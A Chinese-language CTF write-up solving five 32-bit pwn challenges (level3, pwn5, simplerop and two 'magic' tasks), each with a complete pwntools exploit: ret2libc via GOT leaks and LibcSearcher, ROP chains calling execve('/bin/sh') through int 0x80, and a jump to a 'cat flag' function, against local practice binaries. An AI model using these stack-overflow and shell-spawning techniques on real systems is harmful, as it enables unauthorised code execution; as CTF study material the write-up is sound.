LEVEL3

首先检查一下保护

在 IDA 里面发现了 vulnerable_function read 函数存在溢出

计算溢出

可以看到溢出长度是 140

但同时我们 IDA 里没有发现 /bin/sh 等字符串

但是我们看到了 write,可以通过 write 泄漏 libc,来使用 libc 中的 system 和 /bin/sh

首先通过 write 得到 write 函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
p = process('./level3')
elf = ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
payload1='A'*140+p32(write_plt)+p32(main_addr)+p32(0x1)+p32(write_got)+p32(0x4)
#write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr = u32(p.recv(4))
#通过 LibcSeacher 获得 libc 版本
libc=LibcSearcher('write',write_addr)
#计算 libc 的地址
libcbase=write_addr-libc.dump("write")
#计算 system 地址
system_addr=libcbase+libc.dump("system")
#计算 /bin/sh 地址
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload='A'*140+p32(system_addr)+p32(0xbeadbeef)+p32(binsh_addr)
p.sendline(payload)
p.interactive()

PWN5

检查一下保护

IDA 查看也没找到 system 与 /bin/sh
找到会发生溢出的地方

计算一下溢出,当选择 2 的时候能到我们找到的产生溢出的地方

IDA 查看也没找到 system 与 /bin/sh
这次我们构造 execve(“/bin/sh”,NULL,NULL) 直接弹出 shell

只要把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们执行 int 0x80 就可以执行对应的系统调用

使用以下命令来寻找控制 eax 的 gadgets
ROPgadget –binary pwn5 –only ‘pop|ret’ | grep ‘eax’

选第三个,0x080bc396

使用以下命令来寻找控制 ebx 的 gadgets
ROPgadget –binary pwn5 –only ‘pop|ret’ | grep ‘ebx’

选择 0x080733b0

查找 /bin/sh 的字符串:
ROPgadget –binary pwn5 –string ‘/bin/sh’

并没有找到,但是我们可以在程序要求写入的时候写进去,这里我们选择在 first_name 缓冲区写入:0x080F1A20

查找 int 80 的地址:0x08071005
ROPgadget –binary pwn5 –only ‘int’

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p = process('./pwn5')
pop_eax_addr = 0x080bc396
pop_edx_ecx_ebx_addr = 0x080733b0
int_0x80_addr = 0x08071005
bin_sh_addr = 0x080F1A20
payload = "A" * 32
payload += p32(pop_eax_addr)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_addr)
payload += p32(0x0)
payload += p32(0x0)
payload += p32(bin_sh_addr)
payload += p32(int_0x80_addr)
p.sendline("/bin/sh")
p.sendline("yichen")
p.sendline("pwn")
p.sendline("y")
p.sendline("2")
p.sendline(payload)
p.interactive()

simplerop

检查一下:

在 IDA 里面发现 read 造成溢出漏洞

测试一下溢出长度:

所以我们的思路是:32 个垃圾数据 + execve(“/bin/sh”, 0, 0)
注意:
没有 system 需要构造 execve 没有 /bin/sh 得自己写入,写入的话 32 位 最多 一次写 4bit 所以得分两次写

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
sh = process('./simplerop')
int_0x80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
data_addr = 0x080ea060
mov__edx__eax_ret = 0x0809a15d
pop_edx_ret = 0x0806e82a
payload = 'A' * 32
payload += p32(pop_edx_ret)
payload += p32(data_addr)#用 edx 存放 data_addr
payload += p32(pop_eax_ret)
payload += "/bin" #用 eax 存放 /bin
payload += p32(mov__edx__eax_ret)#把 eax 的内容(/bin)移动到 edx(这里是个地址)处也就是说 edx_addr(.data_addr) 存放/bin 也就是 在data段内写入/bin
payload += p32(pop_edx_ret)
payload += p32(data_addr + 0x4)#用 edx 存放 data_addr + 0x4
payload += p32(pop_eax_ret)
payload += "/sh\x00" #用 eax 存放 /sh\x00 (截断)
payload += p32(mov__edx__eax_ret)#把 eax 的内容(/sh\x00)移动到 edx 处 也就是说 edx_addr (.data_addr + 0x4)存放 /sh\x00 也就是(data + 0x4)也在data段写入/sh\x00
payload += p32(pop_eax_ret)
payload += p32(0xb) #用 eax 存放 0xb(execve 的系统调用号)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0x0)
payload += p32(0x0)
payload += p32(data_addr) #传入参数 execve("/bin/sh", 0, 0)(./data_addr存放 了"/bin/sh")
payload += p32(int_0x80) #截断
sh.sendline(payload)
sh.interactive()

低级魔法

检查一下:

当选择 4 的时候发现溢出

在 IDA 中看到 cat flag

看一下溢出点

exp:

1
2
3
4
5
6
7
8
from pwn import *
p=remote("127.0.0.1",10001)
p.sendline('4')
offset=22
catflag=0x80485A7
payload='a'*offset+p32(catflag)
p.sendline(payload)
p.interactive()

高级魔法

这个题目跟上一个题逻辑一致,但是去掉了 cat flag,所以需要实现 system(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
elf=ELF("pwn")
p=remote("127.0.0.1",10002)
offset=22
p.recv()
p.sendline('4')
p.recvuntil("success\n")
payload='a'*offset+p32(elf.plt['puts'])+p32(0x0804862E)+p32(elf.got['puts'])
p.sendline(payload)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
libc_addr=puts_addr-libc.dump('puts')
system=libc_addr+libc.dump('system')
binsh=libc_addr+libc.dump('str_bin_sh')
p.sendline("4")
p.recv()
p.sendline(offset*"a"+p32(system)+p32(4)+p32(binsh))
p.interactive()